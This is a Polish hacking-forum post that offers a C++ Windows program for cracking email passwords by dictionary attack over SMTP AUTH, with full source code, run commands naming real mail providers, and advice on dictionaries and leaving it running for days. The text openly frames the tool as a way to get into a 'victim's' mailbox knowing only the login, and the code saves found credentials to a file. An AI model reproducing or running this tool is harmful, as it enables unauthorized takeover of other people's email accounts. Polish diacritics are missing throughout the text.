Ze wzgldu na to, e ostatnio czsto widz pytania odnonie tego zagadnienia postanowiem napisa program ktry ma za zadanie zama haso do poczty internetowej przez protok SMTP. Jeeli chciae zada pytanie w stylu "Jak zama/znale haso do poczty znajc tylko login" to zainteresuj si tym tematem.
Program zosta napisany w C++ z wykorzystaniem winsocket'w [jeeli bdzie potrzeba to opublikuj take wersj na Linuksa].
Program uruchamia si przez konsol, na chwil obecn nie ma jeszcze interfejsu graficznego [jeeli i na to bdzie zapotrzebowanie to napisz co trzeba].
Dziaanie:
Program czy si z serwerem SMTP na porcie 25, wczytuje hasa ze sownika i wysya zapytanie do serwera z loginem i hasem, na podstawie odpowiedzi stwierdza czy podane haso pasuje czy nie.
Format sownika:
Sowniki mona znale w internecie, jeeli znajd czas to zamieszcz par odnonikw w tym temacie. Pki co sownikiem moe by sownik jzyka polskiego, wyrazw obcych, wyrazw bliskoznacznych et cetera, et cetera. Sownik powinien zawiera hasa, kade w nowej linii. Przykad:
Dobre sowniki to te po kilka GB lub ewentualnie po kilkaset MB.
Ile czasu zajmuje zamanie hasa?
To zaley od jego zoonoci, od wielkoci sownika, od szybkoci cza. Jeeli sownik way 1GB a haso ofiary jest na Jego kocu to czas amania hasa bdzie wynosi tyle ile wysya si 1GB danych z Twojego komputera + czas pobierania danych z serwera (w pojedynczych operacjach to trwa krtko ale pomnoy to razy kilkaset tysicy i wyjdzie spory okres czasu). Jeeli chcesz zama haso na hopsiup to nie jest to najlepszy sposb.
Parametry wywoania programu:
1) Nazwa pod jak zapisany jest program (standardowo to "smtp_password_breaker.exe")
2) Adres serwera SMTP (dla przykadu "poczta.interia.pl", "poczta.o2.pl")
3) Nazwa uytkownika ktrego haso masz zamiar zama ("jacek@o2.pl", "krysia@interia.eu")
4) Lokalizacja sownika, jeeli sownik jest w tym katalogu co program to wystarczy sama nazwa pod jak zapisany jest sownik.
Jak uruchomi:
Odpowied jest prosta jednak mog pojawi si pytania jak to zrobi bo obecnie niema GUI.
Zakadajc, e program jest w katalogu "C:\password_breaker", uruchomi konsol (cmd/wiersz polece) i wpisa:
Kod:
cd C:\password_breaker
smtp_password_breaker.exe poczta.interia.pl jaroslaw@interia.eu slownik.txt
Wyniki amania:
Program zapisze wyniki do pliku tekstowego w katalogu w ktrym si znajduje (przykad: "poczta.o2.pl.txt") w formacie - login:haslo (tomek@o2.pl:omdiw129), take spokojnie mona zostawi program na tydzie wczony :)
Kod rdowy:
Moe nie jest najadniejszy ale nie za bardzo lubi pisa programy na Windows'ie :)
Kod:
/*
SMTP Password Breaker
C++ && sockets
czw, 23 gru 2010, 00:56:45 by discovery44
for haker.com.pl
*/
/* WINDOWS VERSION */
#include <winsock.h>
#include <stdexcept>
#include <stdlib.h>
#include <iostream>
#include <fstream>
#include "base64.h"
using namespace std;
SOCKET sock;
SOCKADDR_IN addr;
WSADATA wsda;
struct hostent *he;
struct in_addr adr;
const int BUFFSIZE = 256;
const int PORT = 25;
char buffer[BUFFSIZE];
string query, tbuffer, login, pass, ip, fname;
fstream infile, outfile;
void czysc() { for(int i = 0 ; i < BUFFSIZE ; i++) buffer[i] = '\0'; }
int main(int argc, char *argv[])
{
cout << "Please come visit: http://haker.com.pl\n";
if(argc != 4) cout << "Usage: " << argv[0] << " poczta.interia.pl user123@interia.eu dictionary.txt\n";
else
{
WSAStartup(MAKEWORD(2,2), &wsda);
ip = argv[1];
login = argv[2];
fname = argv[3];
infile.open( fname.c_str(), ios::in );
outfile.open( ( ip + string(".txt") ).c_str(), ios::out | ios::app );
if( infile.fail() || outfile.fail() )
cout << "ERROR: Infile / Outfile.\n";
else
{
sock = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
he = gethostbyname( ip.c_str() );
adr.s_addr = *((unsigned long*)he->h_addr_list[0]);
addr.sin_family = AF_INET;
addr.sin_port = htons(PORT);
addr.sin_addr.s_addr = adr.s_addr;
if(connect(sock, (struct sockaddr *)&addr, sizeof addr) != 0)
{
cout << "ERROR: Connect.\n";
}
else
{
cout << "Connected.\n";
while(1)
{
try
{
query = "auth login\r\n";
send(sock, query.c_str(), query.length(), 0);
recv(sock, buffer, BUFFSIZE, 0);czysc();
query = base64_encode(login) + "\r\n";
send(sock, query.c_str(), query.length(), 0);
Sleep(100);
recv(sock, buffer, BUFFSIZE, 0); czysc();
Sleep(100);
getline(infile, pass);
query = base64_encode(pass) + "\r\n";
send(sock, query.c_str(), query.length(), 0);
Sleep(100);
recv(sock, buffer, BUFFSIZE, 0);
tbuffer = buffer;
Sleep(200);
czysc();
if(tbuffer.find("235") != string::npos)
{
cout << "Password: " << pass << endl;
outfile << login << ":" << pass << endl;
break;
}
}
catch(out_of_range)
{
cout << "End of file.\n";
break;
}
}
}
}
}
}
Download: zacznik.
Haso: haker.com.pl